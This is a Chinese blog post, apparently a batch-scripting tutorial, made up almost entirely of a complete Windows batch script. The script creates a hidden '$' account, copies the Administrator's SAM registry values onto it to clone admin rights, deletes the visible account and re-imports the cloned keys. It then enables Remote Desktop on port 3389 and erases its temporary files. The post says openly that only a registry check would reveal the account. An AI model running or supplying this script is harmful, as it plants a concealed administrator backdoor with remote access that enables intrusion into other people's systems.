批处理学习之四克隆管理员账户

最新推荐文章于 2022-07-14 20:36:35 发布

turboking

最新推荐文章于 2022-07-14 20:36:35 发布

阅读量1k

点赞数

分类专栏：学习文章标签： user hex windows server

学习专栏收录该内容

6 篇文章

订阅专栏

本文介绍了一种通过克隆管理员账户并开启远程桌面服务的方法，包括创建克隆账户、导出及修改注册表键值等步骤，最终实现隐蔽地开启3389端口。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

1、克隆管理员账户，再开3389，只有检查注册表才能被发现。

@echo off
::第一步创建克隆账号
::设定克隆账号
set user=test
::设定被克隆账号
set buser=Administrator
::设定路径
set ridkey=HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/
::创建账号名为%user%$ 密码为%user%88 的隐藏账号
net user %user%$ %user%88 /add
::第二步取出克隆账号的注册表项
::导出%user%$的rid标项
reg export %ridkey%Names/%user%$ %SystemRoot%/%user%$.reg
::取出%user%$的rid
for /f "tokens=2 delims=()" %%i in ('find /i "@=HEX" %SystemRoot%/%user%$.reg') do set userrid=%%i
::导出user$的账号配置项
reg export %ridkey%00000%userrid% %SystemRoot%/%userrid%.reg

::第三步取出被克隆账号注册表项
::导出%buser%的rid标识项
reg export %ridkey%Names/%buser% %SystemRoot%/%buser%$.reg
::导出%buser%的rid
for /f "tokens=2 delims=()" %%i in ('find /i "@=HEX" %SystemRoot%/%buser%$.reg') do set buserrid=%%i
::导出buser$的账号配置想
reg export %ridkey%00000%buserrid% %SystemRoot%/%buserrid%.reg
::第四步替换配置
::取出克隆账号的"V"=hex:部分
for /f "skip=6 delims=()" %%o in ('find /i "," %SystemRoot%/%userrid%.reg') do @echo %%o >>%SystemRoot%/%user%-last.reg
::建立头部
@echo Windows Registry Editor Version 5.00 >%SystemRoot%/%user%-first.reg
@echo.>>%SystemRoot%/%user%-first.reg
@echo [%ridkey%00000%userrid%] >>%SystemRoot%/%user%-first.reg
::取出被克隆账号的"F"=hex:,并合并到头部
for /f "skip=2 delims=()" %%q in ('find "," %SystemRoot%/%buserrid%.reg') do @echo %%q >>%SystemRoot%/systemreg001.reg
set /p a=<%SystemRoot%/systemreg001.reg
@echo %a:~0% >>%SystemRoot%/%user%-first.reg
for /f "skip=2 delims=()" %%o in ('find /v "%a:~4%" %SystemRoot%/systemreg001.reg') do @echo %%o >>%SystemRoot%/systemreg002.reg
del /q %SystemRoot%/systemreg001.reg
set /p a=<%SystemRoot%/systemreg002.reg
@echo %a:~0% >>%SystemRoot%/%user%-first.reg
for /f "skip=2 delims=()" %%o in ('find /v "%a:~4%" %SystemRoot%/systemreg002.reg') do @echo %%o >>%SystemRoot%/systemreg003.reg
del /q %SystemRoot%/systemreg002.reg
set /p a=<%SystemRoot%/systemreg003.reg
@echo %a:~0% >>%SystemRoot%/%user%-first.reg
for /f "skip=2 delims=()" %%o in ('find /v "%a:~4%" %SystemRoot%/systemreg003.reg') do @echo %%o >>%SystemRoot%/systemreg004.reg
del /q %SystemRoot%/systemreg003.reg
set /p a=<%SystemRoot%/systemreg004.reg
@echo %a:~0% >>%SystemRoot%/%user%-first.reg
del /q %SystemRoot%/systemreg004.reg
::将"F"=hex:以前部分好了的,与"V"=hex:部分合并
type %SystemRoot%/%user%-last.reg >>%SystemRoot%/%user%-first.reg

::第四步删除建立的克隆账号
net user %user%$ /del
::第五步导入修改好的克隆账号注册表项
regedit /s %SystemRoot%/%user%-first.reg
regedit /s %SystemRoot%/%user%$.reg
del /q %SystemRoot%/%user%-first.reg
del /q %SystemRoot%/%user%-last.reg
del /q %SystemRoot%/%user%$.reg
del /q %SystemRoot%/%userrid%.reg
del /q %SystemRoot%/%buser%$.reg
del /q %SystemRoot%/%buserrid%.reg

::开3389
@echo Windows Registry Editor Version 5.00>%SystemRoot%/3389.reg
@echo.>>%SystemRoot%/3389.reg
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server]>>%SystemRoot%/3389.reg
@echo "fDenyTSConnections"=dword:00000000>>%SystemRoot%/3389.reg
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/Wds/rdpwd/Tds/tcp]>>%SystemRoot%/3389.reg
@echo "PortNumber"=dword:00000d3d>>%SystemRoot%/3389.reg
@echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server/WinStations/RDP-Tcp]>>%SystemRoot%/3389.reg
::端口D3D 十六进制
@echo "PortNumber"=dword:00000d3d>>%SystemRoot%/3389.reg

regedit /s %SystemRoot%/3389.reg
del %SystemRoot%/3389.reg